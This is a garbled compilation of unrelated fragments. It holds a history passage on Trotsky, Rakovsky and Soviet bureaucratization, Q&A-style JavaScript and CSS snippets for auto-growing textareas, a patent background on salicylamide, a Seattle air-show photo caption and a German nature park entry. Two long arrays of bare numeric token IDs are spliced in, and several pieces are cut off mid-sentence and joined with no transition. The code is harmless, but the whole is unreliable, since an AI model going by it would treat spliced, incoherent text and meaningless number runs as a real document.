time there for medical treatment—with Eugene Varga. As Deutscher recalled it: While he stayed at the Berlin embassy, Trotsky spent many hours in discussions with Krestinsky, the Ambassador, and E. Varga, the Comintern's leading economist. The subject of his discussions with Varga was socialism in a single country. Varga admitted that as an economic theory Stalin's doctrine was worthless, that socialism in one country was moonshine, but that it was nevertheless politically useful as a slogan capable of inspiring the backward masses. Recording the discussion in his private papers, Trotsky remarked of Varga that he was 'the Polonius of the Comintern'. Thus, in one way or another,'socialism in one country' became the accepted orthodoxy throughout the international communist movement. The question _whether_ the Soviet system could realize socialism within the adopted socioeconomic and political framework became a taboo; the only legitimate question was _how long_ it would take to achieve the irreversible and complete transition to socialism. Yet, against those who argued that the Soviet transitional régime could only move in the direction of socialism Trotsky stressed later—in 1936, the year of the first great show trials in Moscow—that 'In reality a backslide to capitalism is wholly possible'. However, although Trotsky's next sentence stated that 'A more complete definition will of necessity be complicated and ponderous', he did not theoretically elaborate his insight about the wholly possible backslide into capitalism under the Stalinist system. He went on describing the Soviet Union as a'_degenerate workers' state_ ', expecting a solution from a political revolution through which 'the workers would overthrow the bureaucracy'. One of the old Bolsheviks in Trotsky's opposition group, Christian Rakovsky—who also fell victim to the Stalinist terror—characterized the aims and merits of their group in this way: 'The opposition will always retain as one of its merits, as against the party, a merit which nothing can remove, the fact that it has, in good time, sounded the alarm on the terrible decline of the spirit of activity of the working classes, and on their increasing indifference towards the destiny of the dictatorship of the proletariat and of the Soviet state'. He also asked the important questions: ... what has happened to the spirit of revolutionary activity of the party and of our proletariat? Where has their revolutionary initiative gone? Where their ideological interests, their revolutionary values, their proletarian pride have gone? You are surprised that there is so much apathy, weakness, pusillanimity, opportunism and so many other things that I could add myself? How is it that those who have a worthy revolutionary past, whose present honesty cannot be held in doubt, who have given proof of their attachment to the revolution on more than one occasion, can have been transformed into pitiable bureaucrats? However, despite the author's noble intentions, the solutions proposed were very far from meeting the challenge and matching the size of the identified problems. Perhaps understandably, since the debate unfolded in the domain of political confrontations, with the participation of people who all their adult life were active as political leaders, remedies were only envisaged in the form of improving the methods of political leadership, linked to the task of re-educating the working class. Rakovsky could go as far as stressing that 'it is not only a question of a change of personnel but firstly a change in methods'. And he added: 'It is necessary to re-educate the working masses and the party masses within the framework of the party and of the trade unions. This process will be long and difficult; but inevitable. It has already started'. As we all know, none of these hopes were realized in the course of subsequent developments. In the diagnoses offered by Rakovsky and his friends, too much stress was laid on the corrupting psychological impact of privileges leading to bureaucratization, which seemed to beg the question. In the end the suggestion failed to answer Rakovsky's most relevant question: 'How is it that those who have a worthy revolutionary past, whose present honesty cannot be held in doubt, who have given proof of their attachment to the revolution on more than one occasion, can have been transformed into pitiable bureaucrats?'. In his attempt to explain the bewildering and most disheartening developments Rakovsky spoke about a 'functional differentiation' which 'power has introduced into the bosom of the proletariat' and concluded from it that 'The function has modified the organism itself; that is to say that the _psychology_ of those who are charged with the diverse tasks
[ 295, 12937, 299, 788, 277, 522, 30511, 6882, 2092, 360, 13, 13997, 2204, 11664, 261, 6882, 2092, 360, 295, 13401, 13, 299, 788, 298, 10475, 316, 1144, 9810, 263, 9084, 3348, 295, 7157, 15, 20635, 42909, 609, 10886, 360, 14688, 489, 13, 1327, 20314, 423, 360, 35223, 1914, 4734, 8498, 274, 2780, 8239, 44749, 31, 190, 187, 870, 2154, 31, 187, 187, 7504, 500, 14853, 3209, 15, 187, 187, 34, 27, 187, 187, 21595, 19386, 2900, 310, 27, 187, 6999, 3701, 1082, 551, 187, 50274, 5, 2073, 44749, 8539, 14382, 9, 3701, 1082, 551, 187, 50270, 6999, 2520, 481, 7436, 3914, 9, 2520, 481, 8560, 2073, 22860, 13881, 26811, 187, 50274, 9897, 187, 9897, 187, 187, 9063, 401, 3209, 15, 187, 1909, 368, 878, 247, 8342, 16872, 2900, 13, 897, 1563, 6001, 326, 369, 3562, 407, 11447, 3199, 9877, 15, 1422, 476, 1859, 253, 3236, 3662, 1060, 15, 187, 2044, 10018, 28, 187, 338, 313, 13686, 15, 38729, 5949, 10, 551, 187, 50274, 706, 40875, 426, 1159, 313, 10531, 13, 2362, 13, 16454, 10, 551, 187, 50270, 10531, 15, 38729, 5949, 2073, 251, 30636, 8045, 13, 16454, 558, 187, 50274, 4718, 187, 94, 187, 7271, 551, 187, 50274, 706, 40875, 426, 1159, 313, 10531, 13, 2362, 13, 16454, 10, 551, 187, 50270, 10531, 15, 44364, 9, 8045, 13, 16454, 13, 3221, 558, 187, 50274, 4718, 187, 94, 187, 3701, 2012, 6734, 551, 187, 50274, 2044, 2505, 426, 3389, 15, 22339, 2073, 44749, 5137, 187, 50274, 3701, 39332, 6734, 551, 187, 50270, 1156, 15, 4826, 15, 7436, 426, 686, 15149, 5618, 187, 50270, 1156, 15, 4826, 15, 7436, 426, 2505, 15, 22860, 13881, 12, 8, 3498, 5618, 187, 50274, 94, 187, 50274, 3122, 470, 14, 23896, 281, 755, 253, 2168, 4391, 2505, 1738, 187, 50274, 3701, 13444, 2632, 907, 6734, 551, 187, 50270, 13686, 15, 1178, 20780, 9, 35621, 13, 470, 558, 187, 50274, 94, 187, 50274, 706, 40875, 9, 1156, 13, 686, 4168, 1383, 50276, 35621, 558, 187, 50274, 706, 40875, 9, 1156, 13, 686, 7317, 1383, 50273, 7555, 19416, 2632, 907, 558, 187, 50274, 706, 40875, 9, 1156, 13, 686, 23164, 1383, 50275, 7555, 19416, 2632, 907, 558, 187, 50274, 706, 40875, 9, 1156, 13, 686, 12233, 1383, 50274, 7555, 19416, 2632, 907, 558, 187, 50274, 706, 40875, 9, 1156, 13, 686, 2364, 3487, 1383, 13444, 2632, 907, 558, 535, 50274, 1156, 15, 16651, 1874, 187, 50274, 1156, 15, 7135, 1874, 187, 50274, 35621, 1874, 187, 94, 187, 187, 9063, 401, 3209, 3856, 15, 187, 187, 34, 27, 187, 187, 2302, 34619, 2424, 15, 187, 1394, 476, 3148, 247, 642, 14, 22860, 313, 466, 15, 8356, 294, 14, 84, 3006, 10, 1407, 7116, 2505, 2170, 342, 253, 1563, 11685, 285, 16710, 27, 187, 187, 15, 44749, 551, 2379, 50276, 3429, 27, 9519, 3498, 28, 2379, 50276, 1222, 14, 7436, 27, 1235, 3498, 28, 2379, 50276, 7436, 27, 15149, 28, 2379, 50276, 14224, 27, 19, 3498, 4891, 32267, 9, 3571, 13, 3571, 13, 3571, 13, 18, 558, 190, 187, 94, 187, 29, 2154, 966, 568, 44749, 3, 2600, 264, 7116, 568, 5672, 1138, 187, 187, 34, 27, 187, 187, 510, 44502, 37305, 10701, 556, 271, 5271, 462, 18639, 2505, 12879, 1650, 327, 616, 11685, 4312, 23954, 7050, 3239, 15, 1422, 943, 7964, 2451, 436, 562, 604, 368, 971, 281, 3297, 1977, 432, 16710, 20, 5482, 326, 476, 2740, 327, 5662, 27030, 15, 187, 4943, 310, 253, 2127, 432, 253, 1650, 15, 187, 187, 510, 1563, 1650, 2722, 849, 281, 1056, 247, 2505, 12879, 1663, 1125, 462, 736, 1223, 23629, 15, 187, 187, 3701, 6753, 40, 736, 9, 80, 6180, 10, 551, 2379, 50276, 338, 313, 80, 6180, 15, 22860, 13881, 2239, 258, 6180, 15, 8780, 13881, 10, 551, 2379, 50274, 80, 6180, 15, 4826, 15, 7436, 426, 258, 6180, 15, 22860, 13881, 559, 346, 3498, 3664, 2379, 50276, 94, 190, 187, 94, 187, 44749, 15, 79, 5829, 1811, 33396, 551, 2379, 50276, 27745, 27, 8763, 28, 2379, 50276, 3429, 27, 7469, 3498, 28, 2379, 50276, 7436, 27, 2233, 3498, 28, 190, 187, 94, 187, 29, 630, 1416, 568, 2577, 5232, 1138, 2379, 50276, 29, 3423, 1178, 31, 2379, 50274, 29, 42262, 31, 7093, 5701, 870, 42262, 31, 2379, 50274, 29, 81, 31, 2379, 50272, 29, 44749, 966, 568, 79, 5829, 1811, 33396, 3, 327, 2364, 484, 568, 15149, 40, 736, 9, 2520, 558, 6750, 44749, 31, 2379, 50274, 870, 81, 31, 2379, 50274, 29, 81, 31, 2379, 50272, 29, 5423, 1511, 568, 21399, 3, 1318, 568, 19907, 3, 4725, 2379, 50274, 870, 81, 31, 2379, 50276, 870, 3423, 1178, 31, 190, 187, 870, 630, 31, 187, 187, 7034, 1376, 6309, 187, 1552, 1650, 588, 1379, 1557, 273, 253, 1083, 835, 368, 5386, 3104, 15, 187, 187, 3701, 6753, 38275, 4312, 23954, 9, 80, 10, 551, 2379, 50276, 80, 15, 4826, 15, 7436, 426, 686, 18, 3498, 5618, 1380, 46915, 4898, 432, 5675, 672, 37193, 3104, 15, 2379, 50276, 80, 15, 4826, 15, 7436, 426, 258, 15, 22860, 13881, 559, 686, 3498, 5618, 190, 187, 94, 35745, 187, 605, 209, 15489, 6877, 309, 26756, 11156, 209, 4578, 43024, 190, 187, 605, 1422, 476, 11823, 436, 13, 436, 310, 323, 11365, 253, 3632, 5810, 1840, 15, 190, 187, 2044, 47647, 426, 18116, 79, 490, 68, 1545, 18068, 1944, 7261, 16192, 412, 82, 37520, 8962, 88, 35609, 25647, 18800, 12677, 25696, 44, 22047, 47, 2795, 18787, 1267, 14817, 56, 26431, 59, 5983, 9148, 2073, 5137, 190, 187, 2044, 40819, 12519, 30, 3701, 9, 1222, 13, 4090, 910, 2309, 2781, 381, 8629, 32, 17554, 12519, 9, 17, 13, 1222, 2262, 2650, 9, 18102, 15, 14719, 1082, 5355, 4090, 14, 1222, 8744, 1222, 558, 94, 190, 187, 2044, 40819, 45132, 30, 3701, 9, 348, 2967, 13, 5025, 910, 2309, 8472, 31, 17, 32, 348, 2967, 60, 17554, 12519, 9, 348, 2967, 15, 3985, 9102, 12, 17554, 45132, 9, 348, 2967, 13, 5025, 14, 18, 2262, 8, 5618, 94, 190, 187, 605, 209, 41972, 1227, 13003, 11156, 209, 4578, 43024, 35745, 187, 605, 5057, 247, 3806, 281, 253, 2505, 2170, 15, 190, 187, 2044, 40377, 34, 376, 426, 3389, 15, 788, 25170, 3463, 43731, 2073, 79, 5829, 1811, 33396, 3401, 60, 17, 2194, 190, 187, 605, 48533, 690, 3632, 5810, 273, 2978, 875, 7783, 285, 7469, 15, 190, 187, 10134, 34, 376, 15, 2877, 426, 40819, 45132, 9, 30830, 13, 17554, 12519, 9, 8970, 13, 7554, 4027, 190, 187, 605, 1535, 16046, 253, 2362, 15, 190, 187, 15149, 38275, 4312, 23954, 9, 10134, 34, 376, 558, 187, 44749, 15, 79, 5829, 1811, 33396, 551, 2379, 50276, 27745, 27, 8763, 28, 2379, 50276, 3429, 27, 9166, 3498, 28, 6401, 831, 310, 3066, 634, 1650, 15, 1738, 190, 187, 94, 187, 29, 630, 1416, 568, 2577, 5232, 1138, 2379, 50276, 29, 3423, 1178, 31, 2379, 50274, 29, 42262, 31, 7093, 5701, 870, 42262, 31, 2379, 50274, 29, 81, 31, 2379, 50272, 29, 44749, 966, 568, 79, 5829, 1811, 33396, 3, 327, 2364, 484, 568, 15149, 38275, 4312, 23954, 9, 2520, 558, 6750, 44749, 31, 2379, 50274, 870, 81, 31, 2379, 50274, 29, 81, 31, 2379, 50272, 29, 5423, 1511, 568, 21399, 3, 1318, 568, 19907, 3, 4725, 2379, 50274, 870, 81, 31, 2379, 50276, 870, 3423, 1178, 31, 190, 187, 870, 630, 31, 535, 18681, 1528, 16675, 8, 11626, 15, 187, 1231, 2546, 8474, 16675, 281, 2028, 441, 752, 556, 644, 2218, 275, 616, 45219, 281, 8722, 253, 45417, 2938, 26296, 285, 752, 625, 3198, 281, 320, 2218, 281, 3657, 352, 432, 20092, 839, 562, 273, 1453, 15, 831, 310, 752, 597, 753, 15, 1552, 3688, 7033, 281, 32939, 7255, 17980, 24411, 5085, 323, 897, 347, 271, 49885, 13, 29750, 90, 1221, 280, 13, 3270, 14, 13901, 13, 390, 9043, 800, 15, 187, 15426, 280, 1190, 15320, 310, 7561, 908, 275, 49885, 13, 3270, 14, 13901, 13, 285, 29750, 90, 1221, 280, 20724, 15, 1707, 403, 1142, 24648, 5012, 13, 2299, 13, 347, 281, 253, 10307, 273, 436, 2854, 15, 6470, 280, 1190, 15320, 310, 247, 4942, 47261, 2854, 13, 1907, 247, 1824, 35051, 273, 760, 470, 15, 19, 2558, 387, 1884, 15, 14577, 15, 36, 15, 2091, 32939, 11966, 432, 23368, 390, 43642, 13, 247, 6832, 2408, 273, 3779, 280, 1190, 15320, 10224, 281, 40709, 1309, 10056, 949, 253, 22496, 10649, 285, 476, 320, 12372, 275, 253, 49131, 15, 24503, 347, 1199, 347, 581, 14, 19016, 273, 253, 2854, 310, 3663, 275, 436, 5133, 15, 187, 28144, 13, 247, 1534, 5110, 273, 253, 3779, 280, 1190, 15320, 534, 1057, 564, 715, 2900, 310, 33502, 1309, 11058, 949, 253, 16356, 8099, 281, 697, 7124, 27658, 504, 285, 25649, 13335, 13, 6747, 273, 534, 556, 253, 6799, 27331, 2425, 15, 3308, 13, 1077, 1652, 273, 253, 3779, 280, 1190, 15320, 32939, 11966, 275, 4891, 24411, 4948, 14190, 253, 2614, 5542, 275, 3939, 830, 15, 187, 3039, 11966, 20368, 4087, 13, 3779, 280, 1190, 15320, 24021, 953, 7126, 49885, 13, 3270, 14, 13901, 13, 29750, 90, 1221, 280, 285, 9043, 800, 6128, 15, 380, 4103, 4757, 273, 841, 6128, 310, 6178, 7976, 15, 4923, 23803, 5286, 310, 45783, 323, 954, 2515, 273, 897, 13, 247, 878, 4558, 323, 247, 2097, 273, 32939, 41572, 3576, 8322, 273, 3779, 280, 1190, 15320, 15, 15490, 275, 30200, 13, 3747, 15, 608, 13, 4059, 187, 187, 20266, 608, 13, 4059, 1040, 3463, 10035, 353, 2727, 770, 187, 187, 53, 264, 322, 15, 17966, 16, 36597, 456, 5687, 187, 187, 1093, 1171, 746, 187, 187, 37, 1875, 47543, 689, 16335, 27, 21263, 1502, 2516, 18223, 1595, 13, 12060, 253, 4797, 6037, 3313, 12174, 42311, 14, 52, 33667, 13, 285, 9069, 3452, 254, 2399, 251, 275, 253, 2502, 5332, 434, 39073, 33838, 7469, 45, 6415, 13, 8778, 275, 4702, 1840, 16335, 1309, 3946, 323, 253, 35251, 1023, 2320, 1094, 6037, 10684, 15, 187, 187, 53, 264, 322, 15, 17966, 16, 36597, 456, 5687, 187, 187, 1093, 1171, 746, 187, 187, 37, 1875, 47543, 689, 16335, 27, 21263, 1502, 2516, 18223, 1595, 13, 12060, 253, 4797, 6037, 3313, 12174, 42311, 14, 52, 33667, 13, 285, 9069, 3452, 254, 2399, 251, 275, 253, 2502, 5332, 434, 39073, 33838, 7469, 45, 6415, 13, 8778, 275, 4702, 1840, 16335, 1309, 3946, 323, 253, 35251, 1023, 2320, 1094, 6037, 10684, 15, 12412, 657, 462, 1241, 4978, 13375, 4913, 187, 187, 510, 4855, 657, 462, 1241, 4978, 13375, 4913, 6734, 8696, 275, 253, 1029, 6056, 273, 253, 657, 462, 1241, 4978, 275, 253, 9145, 273, 253, 5685, 1375, 273, 388, 26491, 15, 733, 10949, 253, 2919, 273, 19525, 14445, 1475, 38273, 35269, 13, 253, 4275, 629, 273, 253, 11129, 2491, 13, 2176, 34039, 275, 253, 21813, 273, 657, 462, 1241, 4978, 76, 250, 261, 13, 43105, 350, 1952, 76, 250, 261, 13, 443, 466, 39583, 285, 11505, 14, 44, 29415, 304, 14, 44, 250, 261, 15, 380, 5603, 556, 271, 2170, 273, 854, 3245, 15, 1812, 10771, 15818, 285, 310, 3021, 11467, 347, 1781, 347, 253, 5347, 2846, 273, 12911, 15, 2490, 187, 510, 5603, 369, 13205, 275, 22716, 347, 253, 4855, 657, 462, 1241, 4978, 8694, 2356, 14564, 313, 45, 2287, 19696, 859, 348, 25374, 45071, 2880, 11826, 379, 657, 462, 1241, 4978, 10, 342, 271, 2170, 273, 19956, 10771, 15818, 285, 27624, 275, 23305, 281, 253, 4855, 657, 462, 1241, 4978, 33087, 4913, 313, 45721, 2244, 348, 25374, 30844, 11826, 379, 657, 462, 1241, 4978, 481, 17842, 50276, 30488, 285, 16648, 352, 369, 11848, 281, 31184, 15, 2504, 10771, 15818, 13, 275, 17342, 352, 369, 27624, 347, 253, 4855, 657, 462, 1241, 4978, 13375, 4913, 15, 496, 6157, 352, 369, 28148, 407, 854, 3245, 15, 1812, 10771, 15818, 281, 697, 1246, 6070, 15, 187, 187, 510, 657, 462, 1241, 4978, 310, 271, 1711, 44091, 2919, 342, 253, 6253, 1666, 2711, 2280, 275, 3060, 15, 380, 3753, 5603, 310, 36719, 407, 6804, 9741, 13, 10583, 1373, 285, 9685, 1373, 1794, 302, 11192, 347, 973, 347, 247, 5439, 30743, 15, 43275, 17795, 1985, 4513, 275, 512, 10746, 273, 253, 17066, 15, 2596, 273, 253, 2022, 49074, 84, 275, 6176, 6613, 407, 13729, 7564, 73, 404, 15, 9658, 253, 21646, 326, 6054, 275, 253, 657, 462, 1241, 4978, 403, 253, 3697, 18758, 78, 285, 418, 1920, 254, 13, 534, 403, 629, 273, 253, 35776, 1473, 31567, 285, 3021, 253, 26226, 254, 8281, 985, 13, 285, 253, 427, 301, 1473, 13, 427, 301 ]	nisl eget dapibus condimentum, ipsum felis condimentum nisi, eget luctus est tortor vitae nunc. Nam ornare dictum augue, non bibendum sapien pulvinar ut.</textarea> </div> External JSFiddle. A: Simple jQuery solution is: $(function() { $('textarea').each(function() { $(this).height($(this).prop('scrollHeight')); }); }); Check Fiddle. As you need a plain JavaScript solution, use following script that was created by User panzi. You can view the original answer here. var observe; if (window.attachEvent) { observe = function (element, event, handler) { element.attachEvent('on'+event, handler); }; } else { observe = function (element, event, handler) { element.addEventListener(event, handler, false); }; } function init () { var text = document.getElementById('textarea'); function resize () { text.style.height = 'auto'; text.style.height = text.scrollHeight+'px'; } /* 0-timeout to get the already changed text / function delayedResize () { window.setTimeout(resize, 0); } observe(text, 'change', resize); observe(text, 'cut', delayedResize); observe(text, 'paste', delayedResize); observe(text, 'drop', delayedResize); observe(text, 'keydown', delayedResize); text.focus(); text.select(); resize(); } Check Fiddle Here. A: No Javascript required. You can display a no-scroll (ie. automatically re-sizing) editable text area with the following HTML and CSS: .textarea { width:250px; min-height:50px; height:auto; border:2px solid rgba(63,63,63,1); } <div class="textarea" contenteditable="true"> A: The Mozilla Developer Network has an Autogrowing textarea example on their HTMLTextAreaElement page. You should definitely check this out if you want to stay away from CSS3 solutions that can break on older browsers. Here is the code from the example. The following example shows how to make a textarea really autogrow while typing. function autoGrow(oField) { if (oField.scrollHeight > oField.clientHeight) { oField.style.height = oField.scrollHeight + "px"; } } textarea.noscrollbars { overflow: hidden; width: 300px; height: 100px; } <form name="myForm"> <fieldset> <legend>Your comments</legend> <p> <textarea class="noscrollbars" onkeyup="autoGrow(this);"></textarea> </p> <p> <input type="submit" value="Send" /> </p> </fieldset> </form> Autoadjust This example will take care of the case where you remove lines. function autoAdjustTextArea(o) { o.style.height = '1px'; // Prevent height from growing when deleting lines. o.style.height = o.scrollHeight + 'px'; } // =============================== IGNORE ===================================== // You can ignore this, this is for generating the random characters above. var chars = '\n abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'.split(''); var randRange=function(min,max){return max==null?randRange(0,min):~~(Math.random()(max-min)+min);} var randChars=function(chrs,len){return len>0?chrs[randRange(chrs.length)]+randChars(chrs,len-1):'';} // ============================== /IGNORE ===================================== // Get a reference to the text area. var txtAra = document.getElementsByClassName('noscrollbars')[0]; // Generate some random characters of length between 150 and 300. txtAra.value = randChars(chars,randRange(150,300)); // Trigger the event. autoAdjustTextArea(txtAra); textarea.noscrollbars { overflow: hidden; width: 400px; /** This is via your example. */ } <form name="myForm"> <fieldset> <legend>Your comments</legend> <p> <textarea class="noscrollbars" onkeyup="autoAdjustTextArea(this);"></textarea> </p> <p> <input type="submit" value="Send" /> </p> </fieldset> </form> Senior nurses' opinions. We asked senior nurses to tell us what has been done in their trusts to manage the swine flu pandemic and what more needs to be done to prevent it from escalating out of control. This is what they said.This invention relates to orally administratable dosage units for use as an analgesic, antipyretic, anti-inflammatory, or sedative. Salicylamide is widely used in analgesic, anti-inflammatory, and antipyretic preparations. There are many conflicting reports, however, as to the efficacy of this drug. Salicylamide is a relatively insoluble drug, having a water solubility of only 0.2 percent at 30.degree.C. When orally administered from tablets or capsules, a substantial amount of salicylamide fails to dissolve during passage through the gastrointestinal tract and can be recovered in the feces. Often as much as one-third of the drug is lost in this manner. Additionally, a significant portion of the salicylamide which does go into solution is conjugated during absorption through the intestinal walls to its glucuronide and sulfate derivatives, neither of which has the desired pharmacological activity. Thus, very little of the salicylamide orally administered in solid dosage forms reaches the blood stream in active form. When administered intravenously, salicylamide elicits excellent analgesic, anti-inflammatory, antipyretic and sedative responses. The relative strength of these responses is dose dependent. Because intravenous administration is impractical for most conditions of use, a need remains for a means of orally administering effective amounts of salicylamide.Day in Pictures, Aug. 5, 2014 August 5, 2014 \|By Mike Moffitt Ted S. Warren/Associated Press 18of19 Daring ballet over Seattle: Pilots John Klatt, flying the blue Air National Guard MX-S airplane, and Jeff Boerboon in the red Jack's Links Extra 300L plane, fly in formation above Seattle during practice for the Boeing Seafair Air Show. Ted S. Warren/Associated Press 18of19 Daring ballet over Seattle: Pilots John Klatt, flying the blue Air National Guard MX-S airplane, and Jeff Boerboon in the red Jack's Links Extra 300L plane, fly in formation above Seattle during practice for the Boeing Seafair Air Show.High Vogelsberg Nature Park The High Vogelsberg Nature Park () lies in the highlands of the Vogelsberg in the centre of the German state of Hesse. It covers the region of eleven rings around Oberwald, the central part of the mountain range, certain municipalities in the counties of Vogelsbergkreis, Wetteraukreis, Gießen and Main-Kinzig-Kreis. The park has an area of 883.36 km² and is thus roughly as large as the capital city of Berlin. The park was designated in 1956 as the High Vogelsberg Protected Area (Landschaftsschutzgebiet Hoher Vogelsberg) with an area of 225 km² and renamed in 1957 to the High Vogelsberg Conservation Park (Naturschutzpark Hoher Vogelsberg). Between 1963 and 1969 it was expanded to 384.47 km², in 1967 it was renamed as the High Vogelsberg Nature Park. In 2004 it was enlarged by 883.36 km² to its present extent. The Vogelsberg is an old volcanic region with the largest basalt mass in Europe. The nature park is characterised by mixed forest, grassland and wetland biotopes as well as a raised bog. Numerous streams radiate in all directions of the compass. One of the main watersheds in Germany runs by Grebenhain. Among the rivers that rise in the Vogelsberg are the Schwalm and Lauter, which are part of the Fulda basin and thus the Weser river system, and the Nidda, Nid
[ 11305, 2927, 19858, 2585, 42578, 314, 2220, 253, 6200, 15, 50276, 2512, 187, 4238, 417, 247, 1966, 15906, 275, 8184, 28, 247, 1643, 3168, 14, 84, 7193, 39675, 84, 3815, 9377, 187, 783, 2553, 273, 253, 12685, 15, 50276, 510, 2602, 13427, 273, 253, 10212, 2879, 281, 253, 187, 303, 10862, 273, 1551, 285, 6330, 15, 50276, 2993, 2242, 10678, 275, 253, 10763, 273, 352, 13, 187, 6050, 253, 2457, 20724, 323, 253, 11484, 497, 1146, 1160, 15, 50276, 688, 617, 2564, 187, 4238, 642, 1404, 1297, 326, 275, 2852, 1107, 326, 6200, 369, 281, 320, 2330, 275, 187, 379, 2564, 342, 271, 41691, 273, 3075, 285, 4709, 13, 342, 253, 277, 37567, 273, 247, 11010, 187, 3529, 8513, 625, 23071, 685, 3075, 15, 50276, 2993, 369, 9680, 760, 273, 1551, 281, 617, 187, 85, 1250, 24601, 13, 273, 13212, 281, 617, 45671, 323, 10763, 13, 913, 7348, 187, 23739, 273, 399, 1351, 3586, 525, 1299, 434, 3361, 13, 347, 344, 6225, 5015, 281, 46937, 13, 187, 13070, 272, 617, 281, 23240, 253, 26938, 10998, 13512, 15, 50276, 2214, 253, 1551, 13, 703, 369, 35725, 187, 395, 42965, 13, 285, 12506, 2, 689, 9177, 5356, 25106, 2, 50276, 1989, 31735, 703, 1900, 187, 38215, 25106, 1051, 187, 187, 510, 20325, 17088, 512, 4704, 13, 285, 851, 83, 2575, 616, 1039, 2439, 253, 187, 3423, 1854, 15, 50276, 40, 21100, 293, 1160, 247, 4892, 273, 15981, 285, 3534, 247, 39262, 187, 332, 8102, 15, 187, 187, 3, 1147, 4453, 283, 1026, 4638, 2, 50276, 4967, 403, 38134, 16961, 1900, 594, 1199, 625, 12994, 187, 14644, 1463, 4394, 13, 285, 2139, 403, 1821, 594, 11339, 326, 597, 476, 626, 2096, 187, 3529, 597, 403, 32, 50276, 2773, 434, 581, 273, 253, 1142, 42060, 875, 253, 35717, 15, 187, 3074, 2255, 519, 410, 14402, 79, 982, 15, 50276, 3074, 1821, 283, 9903, 626, 2, 50276, 4967, 865, 187, 187, 3, 16830, 937, 399, 1351, 43659, 13, 33371, 2994, 275, 2914, 273, 253, 17848, 13, 275, 187, 10927, 281, 247, 21850, 273, 21558, 13, 346, 30875, 984, 283, 9328, 452, 3356, 187, 1851, 84, 449, 187, 187, 3, 4497, 13, 368, 1364, 246, 1807, 731, 598, 10380, 15, 50276, 3726, 476, 626, 1379, 598, 253, 795, 40338, 64, 187, 2189, 1476, 50276, 40, 21100, 293, 27511, 13, 34352, 1066, 275, 247, 8566, 1652, 2280, 275, 534, 187, 379, 1211, 9246, 8505, 25368, 281, 2226, 15, 50276, 3, 1466, 479, 923, 15, 50276, 7161, 513, 359, 187, 2043, 32, 50276, 52, 25755, 90, 11624, 13, 11152, 778, 5860, 885, 15, 50276, 1231, 1833, 1265, 327, 253, 11624, 347, 247, 187, 64, 4210, 277, 8, 3703, 38527, 7481, 285, 22544, 253, 806, 41899, 8098, 273, 776, 22115, 3254, 1078, 187, 35777, 327, 281, 253, 1524, 2136, 18295, 42, 3524, 4130, 310, 18254, 15, 50276, 1466, 434, 320, 187, 4818, 614, 13, 285, 6008, 1077, 7808, 281, 1056, 352, 1390, 562, 15, 50276, 1147, 434, 824, 247, 9912, 187, 453, 8855, 387, 247, 38769, 672, 253, 3997, 434, 689, 19514, 3022, 247, 12142, 672, 253, 28338, 187, 7110, 4783, 15, 50276, 3039, 359, 1849, 2218, 13, 253, 305, 48059, 3091, 452, 616, 1614, 15, 50276, 64, 4045, 64, 305, 48059, 187, 48497, 778, 5860, 885, 865, 187, 187, 42231, 17244, 369, 9680, 273, 247, 2176, 3434, 275, 253, 1708, 5366, 934, 15, 50276, 2993, 187, 36903, 5344, 326, 443, 21100, 293, 369, 17190, 5972, 281, 2312, 13, 281, 11990, 253, 7372, 13, 187, 4609, 751, 247, 1698, 11267, 934, 273, 24511, 574, 762, 40033, 253, 6330, 273, 253, 1390, 187, 11151, 15, 50276, 688, 253, 22654, 273, 617, 1211, 3075, 13, 703, 3543, 247, 268, 606, 273, 14938, 323, 617, 187, 5465, 405, 19514, 66, 268, 606, 273, 509, 4346, 323, 617, 1211, 35387, 15, 50276, 2042, 760, 187, 31080, 472, 651, 320, 5802, 281, 1091, 1728, 2, 533, 347, 1048, 347, 4030, 8588, 285, 187, 12311, 1132, 497, 521, 5110, 13, 642, 12407, 4930, 651, 320, 273, 667, 1961, 15, 50276, 2512, 187, 4238, 2717, 323, 352, 533, 281, 873, 617, 9970, 285, 30565, 13, 285, 283, 1763, 37536, 8145, 187, 936, 1056, 1841, 347, 1652, 2820, 347, 1896, 323, 643, 952, 15, 50276, 2993, 2197, 187, 66, 8580, 2439, 253, 2829, 281, 17639, 443, 21100, 293, 434, 2798, 15, 187, 187, 3, 42, 1353, 1512, 22658, 281, 320, 18254, 15, 50276, 1147, 3133, 247, 8138, 273, 673, 281, 6008, 13, 3185, 273, 187, 38385, 2920, 12422, 581, 434, 2564, 327, 253, 10763, 273, 352, 512, 15, 50276, 3074, 253, 1072, 187, 20513, 11624, 403, 25427, 1175, 15, 50276, 42, 4282, 849, 2223, 1078, 10331, 359, 3091, 187, 709, 254, 281, 247, 16264, 15901, 2220, 247, 16264, 12927, 449, 187, 187, 3, 4374, 13, 533, 795, 14626, 64, 417, 1476, 50276, 40, 21100, 293, 23383, 6233, 27459, 15, 50276, 2993, 369, 24192, 281, 187, 2887, 3586, 525, 1299, 1361, 2994, 281, 247, 1273, 7238, 13, 285, 21409, 352, 342, 774, 763, 28, 187, 1661, 466, 1272, 281, 923, 46937, 9257, 256, 12545, 8618, 715, 617, 18616, 796, 15, 50276, 18869, 187, 19583, 13, 2860, 600, 6993, 4455, 281, 1978, 387, 17699, 253, 49801, 18638, 15, 50276, 1147, 369, 594, 187, 36423, 323, 443, 21100, 293, 281, 320, 5211, 13, 281, 8913, 763, 4709, 13, 285, 4444, 3524, 275, 697, 187, 5070, 15, 50276, 2993, 369, 347, 3158, 281, 268, 12943, 2220, 7871, 273, 1175, 13, 347, 954, 952, 187, 609, 2220, 1821, 1951, 273, 10319, 13, 285, 16211, 17244, 434, 8580, 369, 4209, 281, 5007, 187, 379, 19851, 16893, 32372, 15, 50276, 2993, 18739, 285, 703, 10062, 28, 1643, 952, 476, 513, 187, 783, 767, 1841, 387, 581, 673, 342, 562, 18369, 272, 581, 390, 253, 643, 13, 533, 187, 40, 21100, 293, 2210, 23991, 5954, 949, 253, 390, 25115, 13, 7562, 617, 30418, 275, 247, 187, 7322, 282, 32058, 282, 273, 22569, 13, 285, 17905, 2717, 273, 731, 533, 271, 187, 406, 16559, 1593, 3159, 273, 2380, 15, 50276, 5872, 275, 253, 4766, 273, 247, 9542, 187, 36817, 703, 6331, 13, 285, 3261, 23071, 387, 617, 3331, 15, 187, 187, 3, 1276, 434, 253, 2647, 865, 187, 187, 42231, 17244, 9461, 342, 247, 288, 9898, 4866, 13, 19460, 281, 3984, 13, 285, 8042, 281, 187, 379, 13386, 15, 50276, 3, 34, 1051, 5961, 1051, 50276, 5498, 626, 1476, 187, 187, 510, 346, 5498, 626, 3, 369, 11704, 407, 247, 21850, 273, 253, 4430, 